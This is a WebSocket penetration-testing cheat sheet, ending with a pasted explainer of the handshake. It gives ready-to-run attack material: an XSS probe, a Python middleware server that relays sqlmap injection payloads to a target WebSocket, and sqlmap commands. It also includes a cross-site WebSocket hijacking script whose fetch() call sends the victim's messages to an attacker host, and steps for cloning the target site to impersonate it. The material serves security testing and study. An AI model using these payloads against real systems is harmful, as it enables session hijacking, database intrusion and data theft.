# WebSocket Pentesting

WebSocket is a protocol that provides full-duplex communication channels over a single single TCP connection.

### Connect with CLI <a href="#connect-with-cli" id="connect-with-cli"></a>

[websocat](https://github.com/vi/websocat) is a command-line client for WebSockets, like netcat for

```
websocat ws://<ip>/
```

### Connect with Python Script <a href="#connect-with-python-script" id="connect-with-python-script"></a>

```
import websocket,json

ws = websocket.WebSocket()
ws.connect("ws://10.0.0.1/")
d = {"message": "hello"}
data = str(json.dumps(d))
ws.send(data)
result = ws.recv()
print(json.loads(result))
```

As above, we can manipulate the data to send. For example,

```
{"message": "<script>alert(1)</script>"}
```

If the website reflects the result of the above interactions, we can affect the website.

### Blind SQL Injection <a href="#blind-sql-injection" id="blind-sql-injection"></a>

First, create a Python script to establish a middleware server to forward **`sqlmap`** payloads to the target WebSocket server.\
The script name is **“server.py”** here. Also we need to install [websocket-client](https://pypi.org/project/websocket-client/) Python package.

```
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://<target-ip-for-websocket>/"

def send_ws(payload):
    ws = create_connection(ws_server)

    message = unquote(payload).replace('"', '\'')
    data = '{"id":"%s"}' % message

    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port, content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False

            if payload:
                content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-Type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0', 8081))
except KeyboardInterrupt:
    pass
```

Then start middleware server by running the above script.

```
python3 server.py
```

Finally execute sqlmap.

```
sqlmap -u "http://localhost:8081/?id=*" --batch --dbs
sqlmap -u "http://localhost:8081/?id=*" --batch --dbs --risk 3 --level 5
```

For details, see [this awesome post](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html).

### Cross-Site WebSocket Hijacking <a href="#cross-site-websocket-hijacking" id="cross-site-websocket-hijacking"></a>

1. Send messages in the target web page like chat room using WebSocket.
2. Check the WebSocket handshake connection in the request as below. It contains the **“Connection: Upgrade”**, **“Upgrade: websocket”**, **“Sec-WebSocket-Key”**, etc. in the request header.

   ```
   GET /chat HTTP/1.1
   Host: vulnerable.com
   Connection: Upgrade
   Upgrade: websocket
   Sec-WebSocket-Version: 13
   Cookie: session=wUTqcDb41l4jbfPUt0XKl36FNh36aSrBl
   Sec-WebSocket-Key: NZxnyRVz0Z9yGnOyqAWl4Q==
   ```
3. If there is no CSRF token in the request, we can CSRF on WebSocket.
4. In our WebSocket server, create the script.

   ```
   <script>
   var ws = new WebSocket('wss://<target-url>/chat');
   ws.onopen = function() {
       ws.send("READY");
   };
   ws.onmessage = function(event) {
       fetch('https://<local-ip>', {method: 'POST', mode: 'no-cors', body: event.data});
   };
   </script>
   ```
5. In our attack website, copy files of the target and paste to our web directory to impersonate the target website.

   Start web server using Python.

   ```
   sudo python3 -m http.server 80
   ```

### References <a href="#references" id="references"></a>

* [PortSwigger](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking)
* [rayhan0x01](https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html)

```shellscript
WebSockets are a bi-directional, full duplex communications protocol initiated over HTTP. They are commonly used in modern web applications for streaming data and other asynchronous traffic.

WebSocket connections are normally created using client-side JavaScript like the following:
var ws = new WebSocket("wss://normal-website.com/chat");

To establish the connection, the browser and server perform a WebSocket handshake over HTTP. The browser issues a WebSocket handshake request like the following:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

If the server accepts the connection, it returns a WebSocket handshake response like the following:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Several features of the WebSocket handshake messages are worth noting:
• The Connection and Upgrade headers in the request and response indicate that this is a WebSocket handshake.
• The Sec-WebSocket-Version request header specifies the WebSocket protocol version that the client wishes to use. This is typically 13.
• The Sec-WebSocket-Key request header contains a Base64-encoded random value, which should be randomly generated in each handshake request.
• The Sec-WebSocket-Accept response header contains a hash of the value submitted in the Sec-WebSocket-Key request header, concatenated with a specific string defined in the protocol specification. This is done to prevent misleading responses resulting from misconfigured servers or caching proxies.

# Tool
https://github.com/PalindromeLabs/STEWS
```
